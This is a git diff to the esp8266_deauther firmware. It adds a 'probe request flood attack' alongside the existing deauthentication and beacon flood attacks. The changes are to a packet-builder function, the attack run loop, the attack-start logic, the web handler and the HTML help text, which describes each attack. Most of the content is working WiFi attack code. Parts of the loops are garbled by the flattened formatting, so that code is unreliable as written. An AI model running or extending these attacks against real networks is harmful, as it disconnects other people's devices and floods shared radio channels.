diff --git a/esp8266_deauther/Attack.cpp b/esp8266_deauther/Attack.cpp index 5601f07..c233c3f 100644 --- a/esp8266_deauther/Attack.cpp +++ b/esp8266_deauther/Attack.cpp @@ -5,7 +5,7 @@ Attack::Attack(){ } void Attack::generate(){ - if(debug) Serial.print("generating Macs..."); + if(debug) Serial.print("\n generating Macs..."); Mac _randomBeaconMac; uint8_t _randomMacBuffer[6]; @@ -80,6 +80,24 @@ void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt){ } +void Attack::buildProbe(String _ssid, Mac _mac){ + int len = _ssid.length(); + if(len > 32) len = 32; + packetSize = 0; + + for(int i=0;i= 1000){ - if(debug) Serial.print("running "+(String)attackNames[0]+" attack"); + if(debug) Serial.print("running "+(String)attackNames[0]+" attack..."); prevTime[0] = millis(); for(int a=0;a= 100){ - if(debug) Serial.print("running "+(String)attackNames[1]+" attack"); + if(debug) Serial.print("running "+(String)attackNames[1]+" attack..."); prevTime[1] = millis(); for(int a=0;a 0){ attackTimeoutCounter[1]++; if(attackTimeoutCounter[1]/10 > settings.attackTimeout) stop(1); @@ -202,7 +220,7 @@ void Attack::run(){ /* =============== Beacon list Attack =============== */ if(isRunning[2] && currentMillis-prevTime[2] >= 100){ - if(debug) Serial.print("running "+(String)attackNames[2]+" attack"); + if(debug) Serial.print("running "+(String)attackNames[2]+" attack..."); prevTime[2] = millis(); for(int a=0;a= macChangeInterval && macChangeInterval > 0){ generate(); macListChangeCounter = 0; - }*/ - if(debug) Serial.println("done"); + } + if(debug) Serial.println(" done"); if(settings.attackTimeout > 0){ attackTimeoutCounter[2]++; if(attackTimeoutCounter[2]/10 > settings.attackTimeout) stop(2); } } + + /* =============== Probe Request Attack =============== */ + if(isRunning[3] && currentMillis-prevTime[3] >= 1000){ + if(debug) Serial.print("running "+(String)attackNames[3]+" attack..."); + prevTime[3] = millis(); + + for(int a=0;a= macChangeInterval && macChangeInterval > 0){ + generate(); + macListChangeCounter = 0; + } + if(debug) Serial.println("done"); + if(settings.attackTimeout > 0){ + attackTimeoutCounter[3]++; + if(attackTimeoutCounter[3] > settings.attackTimeout) stop(3); + } + } } @@ -239,15 +281,23 @@ void Attack::start(int num){ prevTime[num] = millis(); attackTimeoutCounter[num] = 0; refreshLed(); - if(debug) Serial.println("starting "+(String)attackNames[num]+" attack"); - if(num == 1 && isRunning[2]) stop(2); - else if(num == 2 && isRunning[1]) stop(1); + if(debug) Serial.println("starting "+(String)attackNames[num]+" attack..."); + if(num == 1){ + stop(2); + stop(3); + } else if(num == 2){ + stop(1); + stop(3); + } else if(num == 3){ + stop(1); + stop(2); + } }else stop(num); } void Attack::stop(int num){ if(isRunning[num]){ - if(debug) Serial.println("stopping "+(String)attackNames[num]+" attack"); + if(debug) Serial.println("stopping "+(String)attackNames[num]+" attack..."); isRunning[num] = false; stati[num] = "ready"; prevTime[num] = millis(); @@ -265,7 +315,7 @@ String Attack::getResults(){ for(int i=0;i -1 || _attackNum == 2) { + if (apScan.getFirstTarget() > -1 || _attackNum == 2 || _attackNum == 3) { attack.start(server.arg("num").toInt()); server.send ( 200, "text/json", "true"); } else server.send( 200, "text/json", "false"); @@ -323,4 +323,4 @@ void editClientName() { server.send( 200, "text/json", "true"); } } - + diff --git a/htmlfiles/attack.html b/htmlfiles/attack.html index e3fc92e..6cc8f7d 100644 --- a/htmlfiles/attack.html +++ b/htmlfiles/attack.html @@ -43,16 +43,20 @@

-
- deauth [deauthentication attack]:
+
+ deauth [deauthentication attack]:
Sends deauthentication frames and dissociation frames to the selected client(s) in the selected WiFi access point(s). -
+
Note: If no client is selected, the packets are sent as broadcast! -

- beacon [beacon flood attack]:
- (clone:) spams beacon frames with a similar SSID as the selected WiFi access point(s).
- (list:) spams beacon frames with all SSIDs in the list below. +

+ beacon [beacon flood attack]:
+ (clone:) Spams beacon frames with a similar SSID as the selected WiFi access point(s).
+ (list:) Spams beacon frames with all SSIDs in the list below. +

+ probe request [probe request flood attack]:
+ Spams probe request frames with all SSIDs in the list below.
+ Usefull to confuse and spam WiFi trackers.


SSIDs: 0/64